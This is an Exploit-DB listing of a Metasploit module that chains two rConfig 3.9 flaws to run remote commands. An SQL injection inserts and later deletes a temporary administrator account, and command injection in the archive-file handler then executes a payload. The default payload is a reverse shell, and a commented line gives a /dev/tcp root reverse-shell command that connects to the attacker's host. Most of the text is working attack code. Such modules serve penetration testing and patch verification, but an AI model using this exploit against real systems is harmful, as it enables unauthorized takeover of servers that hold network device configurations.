Rconfig 3.x – Chained Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2020-03-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48223/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = GoodRanking
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Rconfig 3.x Chained Remote Code Execution',
    'Description' => '
    This module exploits multiple vulnerabilities in rConfig version 3.9
    in order to execute arbitrary commands.
    This module takes advantage of a command injection vulnerability in the
    `path` parameter of the ajax archive file functionality within the rConfig web
    interface in order to execute the payload.
    Valid credentials for a user with administrative privileges are required.
    However, this module can bypass authentication via SQLI.
    This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.
    The steps are:
    1. SQLi on /commands.inc.php allows us to add an administrative user.
    2. An authenticated session is established with the newly added user
    3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to
     execute the payload.
    4. Remove the added admin user.
    Tips : once you get a shell, look at the CVE-2019-19585.
    You will probably get root because rConfig install script add Apache user to
    sudoers with nopasswd ;-)
    ',
    'License' => MSF_LICENSE,
    'Author'=>
    [
    'Jean-Pascal Thomas', # @vikingfr - Discovery, exploit and Metasploit module
    'Orange Cyberdefense' # Module tests - greetz : CSR-SO team (https://cyberdefense.orange.com/)
    ],
    'References'=>
    [
    ['CVE', '2019-19509'], # authenticated rce
    ['CVE', '2020-10220'], # sqli auth bypass
    %w[EDB 47982],
    %w[EDB 48208],
    ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py'], # authenticated RCE
    ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py']# unauthenticated SQLi
    ],
    'Platform'=> %w[unix linux],
    'Arch'=> ARCH_CMD,
    'Targets' => [['Auto', {}]],
    'Privileged'=> false,
    'DisclosureDate'=> '2020-03-11',
    'DefaultOptions'=> {
    'RPORT' => 443,
    'SSL' => true, # HTTPS is required for the module to work because the rConfig php code handle http to https redirects
    'PAYLOAD' => 'generic/shell_reverse_tcp'
    },
    'DefaultTarget' => 0))
    register_options [
    OptString.new('TARGETURI', [true, 'Base path to Rconfig', '/'])
    ]
    end
    
    # CHECK IF RCONFIG IS REACHABLE AND INSTALLED
    def check
    vprint_status 'STEP 0: Get rConfig version...'
    res = send_request_cgi!(
    'method' => 'GET',
    'uri' => '/login.php'
    )
    if !res || !res.get_html_document
    fail_with(Failure::Unknown, 'Could not check rConfig version')
    end
    if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
    print_good('rConfig version 3.9 detected')
    return Exploit::CheckCode::Appears
    elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
    print_status('rConfig detected, but not version 3.9')
    return Exploit::CheckCode::Detected
    end
    end
    
    # CREATE AN ADMIN USER IN RCONFIG
    def create_rconfig_user(user, _password)
    vprint_status 'STEP 1 : Adding a temporary admin user...'
    fake_id = Rex::Text.rand_text_numeric(3)
    fake_pass = Rex::Text.rand_text_alpha(10)
    fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
    fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
    userleveladmin = 9 # Administrator
    user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--"
    sqli_res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
    'method' => 'GET',
    'vars_get' => {
    'search' => 'search',
    'searchOption' => 'contains',
    'searchField'=> 'vuln',
    'searchColumn' => user_sqli
    }
    )
    unless sqli_res
    print_warning('Failed to create user: Connection failed.')
    return
    end
    print_good "New temporary user #{user} created"
    end
    
    # AUTHENTICATE ON RCONFIG
    def login(user, pass)
    vprint_status "STEP 2: Authenticating as #{user} ..."
    # get session cookie (PHPSESSID)
    res = send_request_cgi!(
    'method' => 'GET',
    'uri' => '/login.php'
    )
    @cookie = res.get_cookies
    if @cookie.empty?
    fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
    return
    end
    # authenticate
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),
    'cookie' => @cookie,
    'vars_post' => {
    pass: pass,
    user: user,
    sublogin: 1
    }
    )
    unless res
    print_warning('Failed to authenticate: Connection failed.')
    return
    end
    print_good "Authenticated as user #{user}"
    end
    
    def trigger_rce(cmd, _opts = {})
    vprint_status "STEP 3: Executing the command (#{cmd})"
    trigger = "`#{cmd} #`"
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),
    'cookie' => @cookie,
    'vars_get' => {
    'path' => trigger,
    'ext' => 'random'
    }
    )
    # the page hangs because of the command being executed, so we can't expect HTTP response
    # unless res
    #fail_with Failure::Unreachable, 'Remote Code Execution failed: Connection failed'
    #return
    # end
    # unless res.body.include? '"success":true'
    #fail_with Failure::Unknown, 'It seems that the code was not executed'
    #return
    # end
    print_good 'Command sucessfully executed'
    end
    
    # DELETE A USER
    def delete_rconfig_user(user)
    vprint_status 'STEP 4 : Removing the temporary admin user...'
    del_sqli = "command ; DELETE FROM `users` WHERE `username`='#{user}';--"
    del_res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
    'method' => 'GET',
    'vars_get' => {
    'search' => 'search',
    'searchOption' => 'contains',
    'searchField'=> 'vuln',
    'searchColumn' => del_sqli
    }
    )
    unless del_res
    print_warning "Removing user #{user} failed: Connection failed. Please remove it manually."
    return
    end
    print_status "User #{user} removed successfully !"
    end
    
    def cleanup
    super
    delete_rconfig_user @username if @username
    end
    
    def exploit
    check
    @username = rand_text_alphanumeric(8..12)
    @password = 'admin'
    create_res = create_rconfig_user @username, @password
    login(@username, @password)
    tmp_txt_file = Rex::Text.rand_text_alpha(10)
    tmp_zip_file = Rex::Text.rand_text_alpha(10)
    # The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(
    # trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")
    trigger_rce(payload.encoded.to_s)
    end
    end